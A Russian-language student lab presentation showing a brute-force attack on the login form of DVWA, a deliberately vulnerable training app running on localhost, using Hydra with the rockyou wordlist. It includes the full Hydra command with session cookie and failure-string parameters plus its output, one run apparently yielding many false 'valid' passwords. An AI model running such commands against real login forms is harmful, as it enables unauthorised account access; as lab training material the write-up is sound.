

Структура научной презентации

Простейший шаблон

Карпачев Я. О.

Российский университет дружбы народов, Москва, Россия

Информация

- Карпачев Я. О.
- студент
- Российский университет дружбы народов

Вводная часть

С помощью Hydra взломать пароль (в данном случае DVWA который мы получили при установки приложения)

Анзипаем встроенный список с паролями для брут форса - rockyou.txt

```
(yokarpachev@vbox)-[~]  
$ gunzip /usr/share/wordlists/rockyou.txt.gz  
gzip: /usr/share/wordlists/rockyou.txt: Permission denied  
  
(yokarpachev@vbox)-[~]  
$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz  
[sudo] password for yokarpachev:  
  
(yokarpachev@vbox)-[~]  
$ cd /usr/share/wordlists/  
  
(yokarpachev@vbox)-[/usr/share/wordlists]  
$ ls  
amass      dnsmap.txt  john.lst   nmap.lst   wfuzz  
dirb       fasttrack.txt  legion    rockyou.txt  wifite.txt  
dirbuster  fern-wifi    metasploit sqlmap.txt  
  
(yokarpachev@vbox)-[/usr/share/wordlists]  
$ open .  
  
(yokarpachev@vbox)-[/usr/share/wordlists]  
$
```

Для того чтобы получить точку доступа скачиваем любой сооку анализатор и используем его на форме

Exploit DB
https://www.exploit-db.com/

Search cookies

EDIT	DOMAIN	NAME	VALUE	HTTP	PATH	SECURE	SAME
<input type="checkbox"/>	localhost	PHPSESSID	3d8ca8af7bb...	✓	/		st
<input type="checkbox"/>	localhost	security	impossible	✓	/		no

WARNING!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is intended to be used as a training tool for security professionals. It is not a real web application and should not be used on production servers. It is recommended to use a virtual machine (such as VirtualBox or VMWare) which is set to NAT networking mode. Inside a guest machine, you can download and install XAMPP for the web server and database.

Disclaimer

We do not take responsibility for the way in which any one uses this application (DVWA). We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.

More Training Resources

Рис. 2: Куки с данными

С помощью данных параметров запускаем команду и ждем ее завершения


```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-24 05:10:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l
:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get-form://localhost:80/DVWA/vulnerabilities/brute/:u
sername="USER"&password="PASS"&Login=Login:H=Cookie:security=medium; PHPSES
SID=oaicbo4F06tqu95dkm27ht62lo:F=Username and/or password incorrect.
[80][http-get-form] host: localhost login: admin password: 12345
[80][http-get-form] host: localhost login: admin password: password
[80][http-get-form] host: localhost login: admin password: iloveyou
[80][http-get-form] host: localhost login: admin password: 123456
[80][http-get-form] host: localhost login: admin password: 123456789
[80][http-get-form] host: localhost login: admin password: princess
[80][http-get-form] host: localhost login: admin password: 1234567
[80][http-get-form] host: localhost login: admin password: abc123
[80][http-get-form] host: localhost login: admin password: nicole
[80][http-get-form] host: localhost login: admin password: daniel
[80][http-get-form] host: localhost login: admin password: 12345678
[80][http-get-form] host: localhost login: admin password: babygirl
[80][http-get-form] host: localhost login: admin password: lovely
[80][http-get-form] host: localhost login: admin password: monkey
[80][http-get-form] host: localhost login: admin password: jessica
[80][http-get-form] host: localhost login: admin password: rockyou
1 of 1 target successfully completed, 16 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-24 05:10:45
```

```
(yokarpachev@vbox)-[/usr/share/wordlists]
$ hydra -l admin -P ~/Documents/rockyou.txt -s 80 localhost http-get-form
"/DVWA/vulnerabilities/brute/:username="USER"&password="PASS"&Login=Login:
H=Cookie:security=medium; PHPSESSID=d1367804a502da9e53c82360b1e6fa52:F=User
name and/or password incorrect."
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use
in military or secret service organizations, or for illegal purposes (this
is non-binding, these *** ignore laws and ethics anyway).
```

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-24 05:20:21
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l
:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get-form://localhost:80/DVWA/vulnerabilities/brute/:u
sername="USER"&password="PASS"&Login=Login:H=Cookie:security=medium; PHPSES
SID=d1367804a502da9e53c82360b1e6fa52:F=Username and/or password incorrect.
[80][http-get-form] host: localhost login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-24 05:20:54
```

```
(yokarpachev@vbox)-[/usr/share/wordlists]
```


Exploit-DB Google Hacking DB OnSec



Vulnerability: Brute Force


Login

Username:

Password:

Login

Welcome to the password protected area **admin**



More Information

- https://owasp.org/www-community/attacks/Brute_force_attack
- <https://www.symantec.com/connect/articles/password-crackers-ensuring-security-your-password>
- <https://www.golinuxcloud.com/brute-force-attack-web-forms>

Выводы

Я понял как brutфорсить HTML формы